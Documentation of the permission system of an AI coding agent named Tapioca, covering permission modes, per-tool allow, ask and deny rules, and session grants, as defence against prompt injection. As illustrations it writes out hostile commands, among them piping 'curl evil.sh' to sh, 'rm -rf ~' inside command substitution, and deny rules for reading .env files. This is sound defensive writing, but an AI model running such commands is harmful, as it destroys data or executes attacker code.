Skip to content

Permissions

Every mutating tool call goes through a permission gate. The permission prompt is the point where a human sees the command before it runs — the main defense against prompt injection, where untrusted text the model reads tries to make it run something.

Permission modes

Cycle with shift+tab, shown in the status bar. /permissions shows the live state, including every grant and rule in effect.

ModeFile editsbashRead-only tools
plandeniedpromptsmostly ungated
manualpromptspromptsmostly ungated
autoallowedpromptsmostly ungated
bypassallowedallowedungated
  • plan — no file modifications; the agent is instructed to investigate read-only and present a plan.
  • manual — every mutating tool call prompts (allow once / always / deny).
  • auto — file edits auto-approved inside the working directory, bash still asks. Secrets outside the worktree and first-contact web hosts still prompt.
  • bypass — everything runs without asking. For containers and throwaway VMs; it disables the exfiltration and grant safeguards too.

The starting mode comes from permission_mode in the config or --permission-mode on the command line.

Per-tool rules

The mode is the default; [permissions] in the config is where the exceptions go. Each rule names a tool and, in parentheses, what the call is about — the path for file tools, the command for bash, the URL for web_fetch, the JSON arguments for an MCP tool:

toml
[permissions]
allow = ["bash(go test*)", "edit_file(internal/**)"]
ask   = ["bash(git push*)"]
deny  = ["read_file(**/.env)", "bash(rm *)", "mcp:*__delete_*"]

Paths glob with ** across directories, everything else with * over any run of characters.

What each does:

  • deny holds in every mode, bypass included, and covers the read-only tools that never prompt. It is the only rule that adds a restriction rather than removing one.
  • ask forces a prompt that auto or bypass would have skipped, and outranks a session grant answered earlier — otherwise one careless "always allow" would disable it for the rest of the session.
  • allow skips a prompt. Like the answered kind, it does not apply in plan mode.

Bash rules are matched against each segment of a compound command, not the whole string — bash(go test*) cannot be ridden in on by go test ./... && curl evil.sh | sh.

Matching is textual, so write rules around the command, not one spelling of it. bash(rm -rf*) looks like it forbids recursive deletion and does not: rm -fr, rm -r -f and rm --recursive all sail past it. bash(rm *) is the rule that holds, and a deny or ask also matches with the first word reduced to its basename, so it covers /bin/rm too. (An allow deliberately does not, or a stray ./echo would inherit what was granted to echo.)

A deny rule is a guardrail against mistakes and against a model that has read something hostile — not a sandbox. It matches the arguments of the tool it names and nothing else: deny = ["read_file(**/.env)"] does not stop bash(cat .env), and blocking rm does nothing about find -delete or > file. You cannot enumerate your way to safety here; for a boundary rather than a filter, see Sandboxing.

Session grants and bash word grants

Answering a prompt with [a] grants that call for the session; [p] on a bash prompt grants the command word (persisted to bash_allow in the config). Guardrails on those grants:

  • Session grants and word grants never apply in plan mode.
  • A granted word only covers a segment with no command substitution ($(…), backticks, ${…}, <(…)), no redirection (>, <) and no background chaining (&). An echo grant cannot run echo $(rm -rf ~), write files, or slip in echo hi & curl evil.com.
  • [p] is not offered for interpreters and exec-wrappers (sh, python, node, sudo, ssh, xargs, env, timeout, nix, docker, …) where a blanket grant means arbitrary execution — including path and version variants like /usr/bin/python3.11.
  • Compound commands are approved segment by segment; denying one blocks the whole command.
  • Grants are coarse: [p] grants a command word, not a subcommand — allowing git allows git push. Tools that can execute code through configuration (git -c, make, build scripts) inherit that power.

Writing files

auto auto-approves file edits inside the working directory (and --add-dir trees). Writes anywhere else prompt in every mode but bypass, because "auto-approve edits" is a statement about your project, not about ~/.zshrc, ~/.ssh/authorized_keys, or Tapioca's own config.toml. Granting [a] on such a prompt grants that path, not writing at large.

Practical advice

  • Default to manual or plan in unfamiliar repositories; read the command in the prompt before approving.
  • Grant with [p] for read-only tools you use constantly (git, go, ls, rg); avoid granting interpreters or make.
  • Use auto when you trust the repository and want speed.
  • Reserve bypass for containers or throwaway VMs.
  • Review /permissions occasionally; session grants reset on restart, but bash_allow in the config persists.

Released under the MIT License.